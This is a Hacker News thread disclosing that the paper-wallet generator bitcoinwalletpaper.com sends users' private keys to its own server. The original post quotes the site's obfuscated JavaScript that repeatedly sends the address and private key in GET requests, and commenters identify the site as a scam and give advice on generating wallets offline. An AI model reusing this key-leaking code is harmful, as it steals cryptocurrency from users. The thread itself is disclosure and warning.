Bitcoin paper wallet generator bitcoinwalletpaper.com leaks private key | Hacker News Reader

Bitcoin paper wallet generator bitcoinwalletpaper.com leaks private key

29 pointsgappc20 comments

Hi everybody,

yesterday I used the paper wallet generator on https://bitcoinwalletpaper.com and I saw suspicious network traffic that leaks the generated bitcoin private and public keys.

The affected code is part of the bitcoinwalletpaper.com index.html and can be found in the "showArtisticWallet" function:

... var interval = setInterval(function(){ var oXHR = new XMLHttpRequest(); oXHR.open("GET", "?77q4722jorGhQZD654roShVZdqz24vUFP2tjw6FboEHnApwha2Aih6UHGhE6uwyY6XXPr4M5v9DyEFtbUPs4VDqhVRXcqofU9M"+bitcoinAddress+"HJ6VBJiEEvKT4p5sYwrjZirpExjLpAXj1i5vhTtUcv8EL2RDx1J"+privateKey+"QSbSs6K3u2QPMLD3bUPs4VDsioznvRnhjb37GVN5xXo8YwAofboUj2BUMbYV6i9", true); oXHR.onreadystatechange = function (oEvent) { if (oXHR.readyState === 2.75) { if (oXHR.status === 200) { clearInterval(interval); } } }; oXHR.send(null); },10000) ...

This code sends the "bitcoinAddress" and "privateKey" as query params back to the origin domain.

I'm not sure if this was just some coding mistake/bug or if the site got hacked - or if I'm missing something.

Yesterday I wrote an email to the address given as "Admin Email" in the whois directory, as no further contact information is available. So far I haven't received an answer. Given that bitcoin reached new all-time heights and that its not long until Christmas I feel like its urgent to do something about this. That's why I post it here. Maybe some of you have ideas on how to proceed?

Steps to reproduce: - open https://bitcoinwalletpaper.com - click the "Next" or "Skip" button or complete the secure random number generation - open the browsers developer tools (or sniff the network traffic in any other way) and watch the requests start after ~10 seconds

=> each request sends the private key of the bitcoin wallet as part of the query param of the GET request

It's obviously a scam site intended to steal "cold BTC", why would they respond to you? Half the site is in bad english and the "our team" image is stolen from Oculus Rift. The entire point of that site is to steal your BTC.

I took a look at that site some years ago. If I remember correctly, this behavior did not exist then, so something seems to have changed.

Considering they've been calling themselves the "official" paper wallet creator since the domain was registered, it's a scam and always has been.

Did you intend to use https://bitcoinpaperwallet.com instead of https://bitcoinwalletpaper.com?

The former site “looks” legit (one can never be sure though) while the latter looks like phishing scam.

https://bitcoinwalletpaper.com/images/team.jpg

The team photo on the page is fake. That's the early Oculus team (John Carmack on the left) as seen on https://youtu.be/Bg5dDa4u8C8?t=84 [edit: added the exact timestamp]

Given that I'd say the whole page is fraud.

OK, this is a strong indication that it is just a scam;) Thanks for pointing this out.

This is good for Bitcoin.

One of the more popular paper wallet generators is https://www.bitaddress.org/. But because i'm paranoid of situations like this, I've downloaded a release from their github and copied it to an airgapped laptop, and generated keys that way- https://github.com/pointbiz/bitaddress.org/releases

Interesting that Crypto.getRandomValues isn't enough for them and they also generate their own entropy in addition to it.

I think that’s the recommended procedure. I wouldn’t call that paranoid at all.

This might be the most obvious scam i’ve ever seen

> This might be the most obvious scam i’ve ever seen

Bittttconnnnect!!!!!

In Cryptoland this is probably one of the more subtle ones to be honest. People literately send their coins to scammers on twitter posing as Elon Musk promising 10x returns, or fake ransomware scams.

I don't endorse these things and I find them incredibly sad, but this far from being the most 'obvious ones' is all I wanted to say.

> You appear to be running this generator of our live website. For more security you can download the website on your computer and you can also turn off the internet to generate offline your wallet more securely.

Do they just say that to increase credibility, assuming that no one will actually do it?

Perhaps they just copied another site that said that.

I have always been advised that it is prudent not to use any browser-based wallet generators, especially while you are online. There are quite a few app-based wallets that will allow you to generate an address before wiping it from your phone. That is a well spotted security issue though.

Browser-based paperwallet generators are not necessarily a bad thing. App-based is not necessarily a good thing (apps can leak data too). Best approach would be: disconnect LAN -> boot you computer from a live-CD -> don't connect the computer to the internet -> get the browser or app based generator via usb-stick -> generate the paper wallet and print it -> shut down the computer, don't save anything. Here you go, not even this is safe if the app generate predictable addresses (this already happend by accident). Maybe put 0,0001btc on the wallet and wait a few weeks and look if they vanish? I think at some point you have to read and inform yourself. Maybe you find someone you can trust. A 15 second internet search and a quick printout of a paperwallet is not the best way to deal with your money.

It seems like it would be much easier to check for shenanigans in a browser based walled generator than on a mobile app. In the browser I can just got F12 to determine what's up.

In addition to network access you need to audit all code downloaded and check local storage, indexdb and cookie usage and any other unknown unknowns.

That all seems rather trivial by spinning up, then deleting a disposable VM without network access.

Always generate wallets offline.

Reply on news.ycombinator.com